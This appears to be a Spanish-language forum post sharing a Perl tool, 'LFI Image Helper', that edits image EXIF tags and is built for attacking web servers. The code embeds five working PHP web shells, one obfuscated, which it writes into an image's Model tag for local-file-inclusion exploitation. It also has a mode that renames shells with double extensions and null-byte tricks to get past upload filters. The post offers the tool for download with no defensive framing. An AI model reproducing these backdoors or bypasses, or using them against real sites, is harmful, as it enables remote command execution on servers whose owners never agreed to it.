Un simple script en Perl para colocar codigo de phpshells en imagenes , el script tiene las siguientes opciones :
- Listar todos los Tags de la imagen con contenido
- Listar solo los Tags
- Leer el valor de cierto Tag
- Crear un Tag nuevo
- Editar un Tag
- Borrar un Tag
- Infectar una imagen con un backdoor conocido en PHP
El codigo :Código: perl
#!usr/bin/perl
#LFI Image Helper 0.8
#(C) Doddy Hackman 2015
#ppm install http://trouchelle.com/ppm/Image-ExifTool.ppd
#
#Array @shells based on : OhNo - Evil Image Builder By Hood3dRob1n
#Thanks to Hood3dRob1n
#
#Dump Values
#Based on :http://www.nntp.perl.org/group/perl.beginners/2012/02/msg119913.html
#Thanks to Ken Slater
#
use Image::ExifTool;
use Getopt::Long;
use Color::Output;
Color::Output::Init;
my @shells = (
{},
{
"nombre" => "Simple Backdoor",
"codigo" => '<?php system($_GET["cmd"]);exit(1); ?>',
"ejemplo" => "?cmd="
},
{
"nombre" => "System Shell",
"codigo" =>
'<?error_reporting(0);print(___);system($_REQUEST[cmd]);print(___);die;?>',
"ejemplo" => "?cmd="
},
{
"nombre" => "Eval Shell",
"codigo" =>
'<?error_reporting(0);print(___);eval($_REQUEST[cmd]);print(___);die;?>',
"ejemplo" => "?cmd="
},
{
"nombre" => "Sneaky Shell",
"codigo" =>
'<?php @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );?>',
"ejemplo" => "?0="
},
{
"nombre" => "r0ng Shell",
"codigo" =>
'<?if($_GET["r0ng"]){echo"<pre>".shell_exec($_GET["r0ng"]);}?>',
"ejemplo" => "?r0ng="
}
);
GetOptions(
"dump_all=s" => \$dump_all,
"dump_tags=s" => \$dump_tags,
"read_tag=s" => \$read_tag,
"tag=s" => \$tag,
"make_tag=s" => \$make_tag,
"value=s" => \$value,
"update_tag=s" => \$update_tag,
"delete_tag=s" => \$delete_tag,
"backdoor=s" => \$backdoor,
"bypass=s" => \$bypass,
"file=s" => \$file
);
head();
if ($dump_all) {
if ( -f $dump_all ) {
printear_titulo("[+] Finding information in : ");
print $dump_all. "\n\n";
dump_all($dump_all);
}
else {
printear("[-] File not found\n");
}
}
elsif ($dump_tags) {
if ( -f $dump_tags ) {
printear_titulo("[+] Finding tags in : ");
print $dump_tags. "\n\n";
dump_tags($dump_tags);
}
else {
printear("[-] File not found\n");
}
}
elsif ($read_tag) {
if ( -f $read_tag ) {
printear_titulo("[+] Finding tag value of $tag in : ");
print $read_tag. "\n\n";
read_tag( $read_tag, $tag );
}
else {
printear("[-] File not found\n");
}
}
elsif ($make_tag) {
if ( -f $make_tag ) {
printear_titulo("[+] Photo : ");
print $make_tag. "\n";
printear_titulo("[+] Name : ");
print $tag. "\n";
printear_titulo("[+] Value : ");
print $value. "\n\n";
printear("[+] Making tag $tag ...\n\n");
make_tag( $make_tag, $tag, $value );
}
else {
printear("[-] File not found\n");
}
}
elsif ($update_tag) {
if ( -f $update_tag ) {
printear_titulo("[+] Photo : ");
print $update_tag. "\n";
printear_titulo("[+] Name : ");
print $tag. "\n";
printear_titulo("[+] Value : ");
print $value. "\n\n";
printear("[+] Updating tag $tag ...\n\n");
update_tag( $update_tag, $tag, $value );
}
else {
printear("[-] File not found\n");
}
}
elsif ($delete_tag) {
if ( -f $delete_tag ) {
printear_titulo("[+] Deleting tag $tag in : ");
print $delete_tag. "\n\n";
delete_tag( $delete_tag, $tag );
}
else {
printear("[-] File not found\n");
}
}
elsif ($backdoor) {
if ( -f $backdoor ) {
printear_titulo("[+] Photo : ");
print $backdoor. "\n\n";
printear("[+] 1 : ");
print "Simple Backdoor\n";
printear("[+] 2 : ");
print "System Shell\n";
printear("[+] 3 : ");
print "Eval Shell\n";
printear("[+] 4 : ");
print "Sneaky Shell\n";
printear("[+] 5 : ");
print "r0ng Shell\n";
printear_titulo("\n[+] Option : ");
chomp( my $opcion = <stdin> );
backdoor_tag( $backdoor, $opcion, $file );
}
else {
printear("[-] File not found\n");
}
}
elsif ($bypass) {
if ( -f $bypass ) {
my $source = readfile($bypass);
printear_titulo("[+] PHP Shell : ");
print $bypass. "\n\n";
printear("[+] 1 : ");
print "bypass.jpg.php\n";
printear("[+] 2 : ");
print "bypass.php;test.jpg\n";
printear("[+] 3 : ");
print "bypass.php%00.jpg\n";
printear_titulo("\n[+] Option : ");
chomp( my $opcion = <stdin> );
if ( $opcion eq "1" ) {
savefile( $file . ".jpg.php", $source );
chmod 0777, $file . ".jpg.php";
}
elsif ( $opcion eq "2" ) {
savefile( $file . ".php;test.jpg", $source );
chmod 0777, $file . ".php;test.jpg";
}
elsif ( $opcion eq "3" ) {
savefile( $file . ".php%00.jpg", $source );
chmod 0777, $file . ".php%00.jpg";
}
else {
savefile( $file . ".jpg.php", $source );
chmod 0777, $file . ".jpg.php";
}
printear("\n[+] PHP Shell Bypassed\n");
}
else {
printear("\n[-] File not found\n");
}
}
else {
sintax();
}
copyright();
# Functions
sub backdoor_tag {
my $image = $_[0];
my $opcion = $_[1];
my $final = $_[2];
my $tag = "Model";
my $nombre = $shells[$opcion]->{nombre};
my $valor = $shells[$opcion]->{codigo};
my $ejemplo = $shells[$opcion]->{ejemplo};
printear("\n[+] Backdoor Name : ");
print "$nombre\n";
printear("[+] Backdoor Example : ");
print "$ejemplo\n";
my $datos_imagen = new Image::ExifTool;
my $informacion_imagen = $datos_imagen->ImageInfo($image);
$datos_imagen->SetNewValue( $tag, $valor );
unlink($final);
$ok = $datos_imagen->WriteInfo( $image, $final );
if ( $ok eq "1" ) {
printear_titulo("\n[+] Backdoor : ");
print "OK\n";
chmod 0777, $final;
}
else {
printear_titulo("\n[-] Backdoor: ");
print "Error\n";
}
}
sub delete_tag {
my $imagen_target = $_[0];
my $tag = $_[1];
my $datos_imagen = new Image::ExifTool;
my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
$datos_imagen->SetNewValue( $tag, undef );
$ok = $datos_imagen->WriteInfo($imagen_target);
if ( $ok eq "1" ) {
printear_titulo("[+] Tag $tag : ");
print "Deleted\n";
}
else {
printear_titulo("[-] Tag $tag : ");
print "Error\n";
}
}
sub update_tag {
my $image = $_[0];
my $tag = $_[1];
my $valor = $_[2];
my $datos_imagen = new Image::ExifTool;
my $informacion_imagen = $datos_imagen->ImageInfo($image);
$datos_imagen->SetNewValue( $tag, $valor );
$ok = $datos_imagen->WriteInfo($image);
if ( $ok eq "1" ) {
printear_titulo("[+] Tag $tag : ");
print "Updated\n";
}
else {
printear_titulo("[-] Tag $tag : ");
print "Error\n";
}
}
sub make_tag {
my $image = $_[0];
my $name = $_[1];
my $value = $_[2];
my $poc = Image::ExifTool->new();
$poc->ExtractInfo($image);
$poc->SetNewValue( $name, $value );
$ok = $poc->WriteInfo($image);
if ( $ok eq "1" ) {
printear_titulo("[+] Tag $name : ");
print "Created\n";
}
else {
printear_titulo("[-] Tag $name : ");
print "Error\n";
}
}
sub read_tag {
$imagen_target = $_[0];
$tag = $_[1];
my $datos_imagen = new Image::ExifTool;
my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
$valor = $datos_imagen->GetValue($tag);
if ( $valor eq "" ) {
printear("[-] Tag not found\n");
}
else {
printear("[+] $tag : ");
print $valor. "\n";
}
}
sub dump_tags {
my $imagen_target = $_[0];
my $datos_imagen = new Image::ExifTool;
my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
@tags = $datos_imagen->GetFoundTags("File");
for my $tag (@tags) {
printear("[+] Tag : ");
print $tag. "\n";
}
}
sub dump_all {
my $imagen_target = $_[0];
my $datos_imagen = new Image::ExifTool;
my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
for my $abriendo_imagen ( $datos_imagen->GetFoundTags("Group0") ) {
my $valor = $informacion_imagen->{$abriendo_imagen};
printear("[+] $abriendo_imagen : ");
print $valor. "\n";
}
}
sub savefile {
open( SAVE, ">>" . $_[0] );
print SAVE $_[1] . "\n";
close SAVE;
}
sub readfile {
open my $FILE, q[<], $_[0];
my $word = join q[], <$FILE>;
close $FILE;
return $word;
}
sub printear {
cprint( "\x036" . $_[0] . "\x030" );
}
sub printear_logo {
cprint( "\x037" . $_[0] . "\x030" );
}
sub printear_titulo {
cprint( "\x0310" . $_[0] . "\x030" );
}
sub sintax {
printear("[+] Sintax : ");
print "perl $0 <option> <value>\n";
printear("\n[+] Options : \n\n");
print "-dump_all <image> : Get all information of a image\n";
print "-dump_tags <image> : Get all tags of a image\n";
print "-read_tag <image> -tag <tag> : Read value tags of a image\n";
print "-make_tag <image> -tag <tag> -value <value> : Make a new tag\n";
print "-update_tag <image> -tag <tag> -value <value> : Update tag\n";
print "-delete_tag <image> -tag <tag> : Delete tag\n";
print "-backdoor <image> -file <name> : Insert backdoor in a image\n";
print
"-bypass <php shell> -file <name> : Rename extension of a image to bypass\n";
printear("\n[+] Example : ");
print "perl lfi_image_helper.pl -dump_all test.jpg\n";
copyright();
}
sub head {
printear_logo("\n-- == LFI Image Helper 0.8 == --\n\n\n");
}
sub copyright {
printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
exit(1);
}
sub toma {
return $nave->get( $_[0] )->content;
}
#The End ?
Un video con ejemplos de uso :
Si quieren bajar el programa lo pueden hacer de aca :
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